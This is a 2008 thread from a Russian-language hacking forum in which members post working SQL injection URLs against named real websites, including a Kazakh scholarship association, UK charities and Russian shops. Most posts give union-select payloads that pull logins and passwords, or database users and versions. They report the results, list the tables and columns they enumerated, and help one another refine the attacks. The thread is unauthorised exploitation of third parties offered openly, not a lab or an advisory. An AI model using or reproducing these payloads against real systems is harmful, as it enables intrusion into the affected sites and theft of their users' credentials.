HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.09.2008, 22:06
groupby
Познающий
Регистрация: 21.09.2008
Сообщений: 42
Провел на форуме:
127017

Репутация: 61
По умолчанию

MySQL: 5.0.51a-log
DBASE: host1843
USER: host1843@10.7.0.2
_http://www.nord-east.ru/index.php?id=-1%20union%20select%201,concat_ws(char(58),login,pa ss),3,4%20from%20auth%20--
Админку не нашел (
 
Ответить с цитированием

  #2  
Старый 23.09.2008, 22:54
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

Цитата:
http://www.smf.org.uk/events.php?section_id=4
Dbname: smforg_smf
Version: 4.1.22-standard
Username: smforg_smforg@localhost
Цитата:
groups
members
users
 
Ответить с цитированием

  #3  
Старый 24.09.2008, 15:25
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

Ассоциация выпускников Международной стипендии Президента Республики Казахстан «Болашак» o_O

Цитата:
http://www.bolashak.kz/?lang=ru&type=news&id=-46+union+select+1,2,version(),4,5,6,7,8+from+phpbb _users/*
p.s : таблы заебся подбирать, там есть форум phpbb но что то мне подсказывает что всё зранится в разных базах...
 
Ответить с цитированием

  #4  
Старый 24.09.2008, 20:20
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от slider  
Ассоциация выпускников Международной стипендии Президента Республики Казахстан «Болашак» o_O



p.s : таблы заебся подбирать, там есть форум phpbb но что то мне подсказывает что всё зранится в разных базах...
может все-таки так?

http://www.bolashak.kz/?lang=ru&type=news&id=-46+union+select+1,2,version(),4,5,6,7,8/*
 
Ответить с цитированием

  #5  
Старый 24.09.2008, 19:50
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

Цитата:
http://www.dwaa.org.uk/showevent.php?eventID=25UNION+SELECT+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37+LIMIT+1,1/*
Цитата:
Dbname: dwaa
Version: 4.1.18
Username: janet@localhost
================================================== =========
Цитата:
http://www.pemadam.org.my/cda/m_counselling/csl_view.php?id=86UNION+SELECT+1+LIMIT+1,1/*&crumb=MIZ.NAA
и снова 4 ((
Цитата:
Dbname: pemadam_06
Version: 4.1.7-nt
Username: pemadam_cc@localhost
 
Ответить с цитированием

  #6  
Старый 24.09.2008, 20:07
0nep@t0p
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
Провел на форуме:
2313429

Репутация: 728
По умолчанию

www.novirealty.ca
Код:
http://www.novirealty.ca/waterfront.php?fid=510/**/union/**/select/**/1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169/*&page=2
Version: 4.1.20
User: f1shst1cks@localhost
=/
 
Ответить с цитированием

  #7  
Старый 24.09.2008, 23:02
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

safe-shop.ru
Код:
http://www.safe-shop.ru/indx.php?c=articles&id=2+and+1=0+union+select+1,2,concat(user(),0x20,version(),0x20,database()),4+--
u8606@10.10.10.205 5.0.67-log u8606_2 

1.from_kp 
1.1 id
1.2 ip
1.3 dates
1.4 http_from 
2.kv
2.1 id
2.2 pole
2.3 pole2
3.kv_gr 
4.kv_instr 
5.kv_maingr 
6.kv_news
7.kv_ss 
7.1 id
7.2 name
7.3 prior
7.4 time_id 
8.kv_st

Последний раз редактировалось AFoST; 24.09.2008 в 23:07..
 
Ответить с цитированием

  #8  
Старый 24.09.2008, 23:35
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
http://www.dwaa.org.uk/showevent.php?eventID=25UNION+SELECT+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37+LIMIT+1,1/*

Цитатаbname: dwaa
Version: 4.1.18
Username: janet@localhost
Если посмотреть вниз, то там написано:
Parts powered by WordPress

Нашлось - таблица: wp_users
Поля: id,user_aim,user_email,user_icq,user_ip
 
Ответить с цитированием

  #9  
Старый 24.09.2008, 23:35
groupby
Познающий
Регистрация: 21.09.2008
Сообщений: 42
Провел на форуме:
127017

Репутация: 61
По умолчанию

4я версия мускула, так что выудить мало чего получается.
Нашел таблицу users. Есть поля id, email. Другие подобрать не смог.
Подозреваю, что из этой таблицы производится вход в
http://sales.conkurent.com/affiliates/index.php
Вот скуля:
http://conkurent.com/news.php?id=4%20union%20select%201,2,3,concat_ws(c har(58),id,email),5%20from%20users/*
 
Ответить с цитированием

  #10  
Старый 25.09.2008, 00:04
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

2 groupby:

есть еще:

таблица:

news, поле id
settings, поле name
users, поля: email, id, status

Последний раз редактировалось Pashkela; 25.09.2008 в 02:42..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ